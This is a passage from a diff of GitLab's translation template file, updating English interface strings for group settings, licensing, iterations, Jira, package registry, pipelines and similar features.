+msgid "Gitaly timeouts"
+msgstr ""
+
msgid "Gitaly|Address"
msgstr ""
@@ -15394,9 +15322,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15472,9 +15397,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15505,6 +15427,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15514,9 +15439,6 @@ msgstr ""
msgid "Group description (optional)"
msgstr ""
-msgid "Group details"
-msgstr ""
-
msgid "Group export could not be started."
msgstr ""
@@ -15574,13 +15496,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15616,9 +15535,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -15910,10 +15826,10 @@ msgstr ""
msgid "GroupSettings|Export group"
msgstr ""
-msgid "GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility."
+msgid "GroupSettings|If not specified at the group or instance level, the default is %{default_initial_branch_name}. Does not affect existing repositories."
msgstr ""
-msgid "GroupSettings|Learn more about group-level project templates."
+msgid "GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility."
msgstr ""
msgid "GroupSettings|New runners registration token has been generated!"
@@ -15937,24 +15853,27 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
+msgid "GroupSettings|Select a subgroup to use as the source for custom project templates for this group."
msgstr ""
-msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
+msgid "GroupSettings|Set the maximum size of GitLab Pages for this group. %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "GroupSettings|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
+msgid "GroupSettings|The default name for the initial branch of new repositories created in the group."
+msgstr ""
+
+msgid "GroupSettings|The projects in this subgroup can be selected as templates for new projects created in the group. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "GroupSettings|There was a problem updating Auto DevOps pipeline: %{error_messages}."
msgstr ""
@@ -16012,9 +15931,6 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
-msgstr ""
-
msgid "Groups"
msgstr ""
@@ -16249,12 +16165,6 @@ msgstr ""
msgid "Help"
msgstr ""
-msgid "Help page"
-msgstr ""
-
-msgid "Help page text and support page url."
-msgstr ""
-
msgid "Helps prevent bots from brute-force attacks."
msgstr ""
@@ -16311,7 +16221,7 @@ msgstr ""
msgid "Hide list"
msgstr ""
-msgid "Hide marketing-related entries from help"
+msgid "Hide marketing-related entries from the Help page."
msgstr ""
msgid "Hide payload"
@@ -16541,7 +16451,7 @@ msgstr ""
msgid "If disabled, a diverged local branch will not be automatically updated with commits from its remote counterpart, to prevent local data loss. If the default branch (%{default_branch}) has diverged and cannot be updated, mirroring will fail. Other diverged branches are silently ignored."
msgstr ""
-msgid "If disabled, only admins will be able to configure repository mirroring."
+msgid "If disabled, only administrators can configure repository mirroring."
msgstr ""
msgid "If enabled, GitLab will handle Object Storage replication using Geo. %{linkStart}More information%{linkEnd}"
@@ -16553,13 +16463,13 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
-msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
+msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
+msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
-msgid "If there is no previous license or if the previous license has expired, some GitLab functionality will be blocked until a new, valid license is uploaded."
+msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
msgid "If this email was added in error, you can remove it here:"
@@ -16592,10 +16502,7 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
-msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
-msgstr ""
-
-msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgid "If you get a lot of false alarms from repository checks, you can clear all repository check information from the database."
msgstr ""
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
@@ -16604,9 +16511,6 @@ msgstr ""
msgid "If you recently signed in and recognize the IP address, you may disregard this email."
msgstr ""
-msgid "If you remove this license, GitLab will fall back on the previous license, if any."
-msgstr ""
-
msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
msgstr ""
@@ -16731,9 +16635,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -16823,6 +16724,9 @@ msgstr[1] ""
msgid "Importing..."
msgstr ""
+msgid "Import|A repository URL usually ends in a .git suffix, although this is not required. Double check to make sure your repository URL is correct."
+msgstr ""
+
msgid "Improve customer support with Service Desk"
msgstr ""
@@ -16832,6 +16736,9 @@ msgstr ""
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
+msgid "Improves Git cloning performance."
+msgstr ""
+
msgid "In %{time_to_now}"
msgstr ""
@@ -16910,6 +16817,9 @@ msgstr ""
msgid "InProductMarketing|Create your first project!"
msgstr ""
+msgid "InProductMarketing|Deliver Better Products Faster"
+msgstr ""
+
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
@@ -16949,6 +16859,9 @@ msgstr ""
msgid "InProductMarketing|Follow our steps"
msgstr ""
+msgid "InProductMarketing|Free 30-day trial"
+msgstr ""
+
msgid "InProductMarketing|Get going with CI/CD quickly using our %{quick_start_link}. Start with an available runner and then create a CI .yml file – it's really that easy."
msgstr ""
@@ -17027,6 +16940,9 @@ msgstr ""
msgid "InProductMarketing|Improve code quality and streamline reviews"
msgstr ""
+msgid "InProductMarketing|Increase Operational Efficiencies"
+msgstr ""
+
msgid "InProductMarketing|Invite your colleagues and start shipping code faster."
msgstr ""
@@ -17069,12 +16985,18 @@ msgstr ""
msgid "InProductMarketing|Neutral"
msgstr ""
+msgid "InProductMarketing|No credit card required."
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
msgid "InProductMarketing|Rapid development, simplified"
msgstr ""
+msgid "InProductMarketing|Reduce Security & Compliance Risk"
+msgstr ""
+
msgid "InProductMarketing|Security that's integrated into your development lifecycle"
msgstr ""
@@ -17165,6 +17087,9 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Used by more than 100,000 organizations from around the globe:"
+msgstr ""
+
msgid "InProductMarketing|Very difficult"
msgstr ""
@@ -17237,6 +17162,9 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
@@ -17429,6 +17357,9 @@ msgstr ""
msgid "Include merge request description"
msgstr ""
+msgid "Include new features from all tiers."
+msgstr ""
+
msgid "Include the username in the URL if required: %{code_open}https://username@gitlab.company.com/group/project.git%{code_close}."
msgstr ""
@@ -17531,6 +17462,12 @@ msgstr ""
msgid "Input the remote repository URL"
msgstr ""
+msgid "Insert"
+msgstr ""
+
+msgid "Insert a %{rows}x%{cols} table."
+msgstr ""
+
msgid "Insert a code block"
msgstr ""
@@ -17570,9 +17507,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17585,12 +17519,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17611,6 +17539,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17692,7 +17623,13 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|GitLab administrators can set up integrations that all projects inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}project integration management%{link_end}."
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
msgstr ""
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
@@ -17701,6 +17638,9 @@ msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17725,9 +17665,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17938,6 +17875,9 @@ msgstr ""
msgid "Invite a group"
msgstr ""
+msgid "Invite email has already been taken"
+msgstr ""
+
msgid "Invite group"
msgstr ""
@@ -17989,7 +17929,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
+msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18028,7 +17968,7 @@ msgstr ""
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
-msgid "InviteMembersModal|Some of the members could not be added"
+msgid "InviteMembersModal|Something went wrong"
msgstr ""
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
@@ -18418,9 +18358,6 @@ msgstr ""
msgid "Iteration"
msgstr ""
-msgid "Iteration cadences"
-msgstr ""
-
msgid "Iteration changed to"
msgstr ""
@@ -18436,6 +18373,9 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
@@ -18448,12 +18388,21 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
msgid "Iterations|Edit cadence"
msgstr ""
+msgid "Iterations|Edit iteration"
+msgstr ""
+
msgid "Iterations|Edit iteration cadence"
msgstr ""
@@ -18463,12 +18412,18 @@ msgstr ""
msgid "Iterations|Future iterations"
msgstr ""
+msgid "Iterations|Iteration cadences"
+msgstr ""
+
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
msgid "Iterations|Move incomplete issues to the next iteration"
msgstr ""
+msgid "Iterations|New iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18505,12 +18460,21 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
+msgid "Iteration|Dates cannot overlap with other existing Iterations within this iterations cadence"
+msgstr ""
+
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
@@ -18607,9 +18571,18 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
+msgstr ""
+
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18658,6 +18631,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18886,9 +18862,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19176,6 +19149,9 @@ msgstr ""
msgid "Last item before this page loaded in your browser:"
msgstr ""
+msgid "Last modified"
+msgstr ""
+
msgid "Last month"
msgstr ""
@@ -19290,15 +19266,9 @@ msgstr ""
msgid "Learn more about Auto DevOps"
msgstr ""
-msgid "Learn more about License-Check"
-msgstr ""
-
msgid "Learn more about Needs relationships"
msgstr ""
-msgid "Learn more about Vulnerability-Check"
-msgstr ""
-
msgid "Learn more about Web Terminal"
msgstr ""
@@ -19461,6 +19431,9 @@ msgstr ""
msgid "Leave zen mode"
msgstr ""
+msgid "Leaving this setting enabled is recommended."
+msgstr ""
+
msgid "Legacy burndown chart"
msgstr ""
@@ -19473,27 +19446,15 @@ msgstr ""
msgid "Let's talk!"
msgstr ""
-msgid "License"
-msgstr ""
-
msgid "License Compliance"
msgstr ""
-msgid "License History"
-msgstr ""
-
-msgid "License ID:"
-msgstr ""
-
msgid "License file"
msgstr ""
msgid "License overview"
msgstr ""
-msgid "License-Check"
-msgstr ""
-
msgid "LicenseCompliance|%{docLinkStart}License Approvals%{docLinkEnd} are active"
msgstr ""
@@ -19599,9 +19560,6 @@ msgstr ""
msgid "Licensed Features"
msgstr ""
-msgid "Licensed to"
-msgstr ""
-
msgid "Licensed to:"
msgstr ""
@@ -19659,27 +19617,6 @@ msgstr ""
msgid "Licenses|View license details for your project"
msgstr ""
-msgid "License|Buy license"
-msgstr ""
-
-msgid "License|License"
-msgstr ""
-
-msgid "License|You can restore access to the Gold features at any time by upgrading."
-msgstr ""
-
-msgid "License|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "License|You do not have a license."
-msgstr ""
-
-msgid "License|Your License"
-msgstr ""
-
-msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -19877,9 +19814,6 @@ msgstr ""
msgid "Locks the discussion."
msgstr ""
-msgid "Log in"
-msgstr ""
-
msgid "Login with smartcard"
msgstr ""
@@ -19946,6 +19880,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19964,9 +19907,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20357,7 +20297,7 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Medium Timeout Period"
+msgid "Medium timeout"
msgstr ""
msgid "Medium vulnerabilities present"
@@ -20546,6 +20486,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: the source branch must be rebased onto the target branch."
+msgstr ""
+
msgid "Merge commit SHA"
msgstr ""
@@ -20747,6 +20690,9 @@ msgstr ""
msgid "Merged branches are being deleted. This can take some time depending on the number of branches. Please refresh the page to see changes."
msgstr ""
+msgid "Merged by"
+msgstr ""
+
msgid "Merged this merge request."
msgstr ""
@@ -21133,9 +21079,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21743,22 +21686,16 @@ msgstr ""
msgid "NetworkPolicies|Invalid or empty policy"
msgstr ""
-msgid "NetworkPolicies|Kubernetes error: %{error}"
+msgid "NetworkPolicies|Invalid or unsupported policy kind"
msgstr ""
-msgid "NetworkPolicies|Last modified"
+msgid "NetworkPolicies|Kubernetes error: %{error}"
msgstr ""
msgid "NetworkPolicies|Name"
msgstr ""
-msgid "NetworkPolicies|Namespace"
-msgstr ""
-
-msgid "NetworkPolicies|Network Policy"
-msgstr ""
-
-msgid "NetworkPolicies|Network policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21824,9 +21761,6 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
-msgid "NetworkPolicies|Status"
-msgstr ""
-
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22018,12 +21952,6 @@ msgstr ""
msgid "New issue title"
msgstr ""
-msgid "New iteration"
-msgstr ""
-
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22129,6 +22057,9 @@ msgstr ""
msgid "No %{providerTitle} repositories found"
msgstr ""
+msgid "No CSV data to display."
+msgstr ""
+
msgid "No Epic"
msgstr ""
@@ -22150,6 +22081,9 @@ msgstr ""
msgid "No application_settings found"
msgstr ""
+msgid "No approvers"
+msgstr ""
+
msgid "No assignee"
msgstr ""
@@ -22174,9 +22108,15 @@ msgstr ""
msgid "No child epics match applied filters"
msgstr ""
+msgid "No commenters"
+msgstr ""
+
msgid "No commits present here"
msgstr ""
+msgid "No committers"
+msgstr ""
+
msgid "No compliance frameworks are in use."
msgstr ""
@@ -22351,9 +22291,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22677,13 +22614,13 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
-msgid "Number of Git pushes after which 'git gc' is run."
+msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
msgstr ""
-msgid "Number of Git pushes after which a full 'git repack' is run."
+msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
msgstr ""
-msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
msgstr ""
msgid "Number of LOCs per commit"
@@ -22770,6 +22707,9 @@ msgstr ""
msgid "On-call schedules"
msgstr ""
+msgid "OnCallScheduless|Any escalation rules that are using this schedule will also be deleted."
+msgstr ""
+
msgid "OnCallSchedules|1 day"
msgstr ""
@@ -22902,12 +22842,6 @@ msgstr ""
msgid "OnCallSchedules|The schedule could not be updated. Please try again."
msgstr ""
-msgid "OnCallSchedules|To create an escalation policy that defines which schedule is used when, visit the %{linkStart}escalation policy%{linkEnd} page."
-msgstr ""
-
-msgid "OnCallSchedules|To create an escalation policy using this schedule, visit the %{linkStart}escalation policy%{linkEnd} page."
-msgstr ""
-
msgid "OnCallSchedules|Try adding a rotation"
msgstr ""
@@ -22923,7 +22857,7 @@ msgstr ""
msgid "OnCallSchedules|You are currently a part of:"
msgstr ""
-msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the add a rotation button."
+msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the add a rotation button. To create an escalation policy that defines which schedule is used when, visit the %{linkStart}escalation policy%{linkEnd} page."
msgstr ""
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
@@ -23013,7 +22947,7 @@ msgstr ""
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues, merge requests etc."
+msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23063,12 +22997,18 @@ msgstr ""
msgid "Only Project Members"
msgstr ""
-msgid "Only active this projects shows up in the search and on the dashboard."
+msgid "Only active projects show up in the search and on the dashboard."
msgstr ""
msgid "Only admins can delete project"
msgstr ""
+msgid "Only include features new to your current subscription tier."
+msgstr ""
+
+msgid "Only owners can update Security Policy Project"
+msgstr ""
+
msgid "Only policy:"
msgstr ""
@@ -23099,6 +23039,9 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimise any manual steps.The token is already included in the command."
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
@@ -23165,9 +23108,6 @@ msgstr ""
msgid "Operations Dashboard"
msgstr ""
-msgid "Operations Settings"
-msgstr ""
-
msgid "OperationsDashboard|Add a project to the dashboard"
msgstr ""
@@ -23309,10 +23249,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23423,6 +23363,9 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
msgid "PackageRegistry|Delete Package File"
msgstr ""
@@ -23450,9 +23393,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23465,6 +23405,9 @@ msgstr ""
msgid "PackageRegistry|Gradle Kotlin DSL install command"
msgstr ""
+msgid "PackageRegistry|Helm"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23516,15 +23459,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23606,6 +23549,9 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
msgstr ""
@@ -23780,6 +23726,9 @@ msgstr ""
msgid "Paste issue link"
msgstr ""
+msgid "Paste project path (i.e. gitlab-org/gitlab)"
+msgstr ""
+
msgid "Paste your public SSH key, which is usually contained in the file '~/.ssh/id_ed25519.pub' or '~/.ssh/id_rsa.pub' and begins with 'ssh-ed25519' or 'ssh-rsa'. Do not paste your private SSH key, as that can compromise your identity."
msgstr ""
@@ -23807,6 +23756,9 @@ msgstr ""
msgid "Paused runners don't accept new jobs"
msgstr ""
+msgid "Peer review by"
+msgstr ""
+
msgid "Pending"
msgstr ""
@@ -23894,6 +23846,9 @@ msgstr ""
msgid "PerformanceBar|Trace"
msgstr ""
+msgid "Permanently delete project"
+msgstr ""
+
msgid "Permissions"
msgstr ""
@@ -23909,6 +23864,9 @@ msgstr ""
msgid "Personal Access Token prefix"
msgstr ""
+msgid "Personal access tokens are not revoked upon expiration."
+msgstr ""
+
msgid "Personal project creation is not allowed. Please contact your administrator with questions"
msgstr ""
@@ -23948,6 +23906,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline URL"
+msgstr ""
+
msgid "Pipeline durations for the last 30 commits"
msgstr ""
@@ -24164,21 +24125,15 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
msgstr ""
-msgid "Pipelines|Group %{namespace_name} has %{percentage}%% or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
-msgstr ""
-
-msgid "Pipelines|Group %{namespace_name} has exceeded its pipeline minutes quota. Unless you buy additional pipeline minutes, no new jobs or pipelines in its projects will run."
-msgstr ""
-
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
@@ -24233,6 +24188,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The %{namespace_name} namespace has %{percentage}%% or less Shared Runner Pipeline minutes remaining. After it runs out, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "Pipelines|The %{namespace_name} namespace has exceeded its pipeline minutes quota. Buy additional pipeline minutes, or no new jobs or pipelines in its projects will run."
+msgstr ""
+
msgid "Pipelines|The CI configuration was not loaded, please try again."
msgstr ""
@@ -24308,9 +24269,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24461,21 +24419,18 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
msgstr ""
-msgid "Plan"
-msgstr ""
-
msgid "Plan:"
msgstr ""
@@ -24527,6 +24482,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -24551,6 +24512,9 @@ msgstr ""
msgid "Please create an index before enabling indexing"
msgstr ""
+msgid "Please delete your current license if you want to downgrade to the free plan."
+msgstr ""
+
msgid "Please enable and migrate to hashed storage to avoid security issues and ensure data integrity. %{migrate_link}"
msgstr ""
@@ -24743,6 +24707,9 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
+msgid "Preferences|Configure how dates and times display for you."
+msgstr ""
+
msgid "Preferences|Customize integrations with third party services."
msgstr ""
@@ -24761,7 +24728,7 @@ msgstr ""
msgid "Preferences|Failed to save preferences."
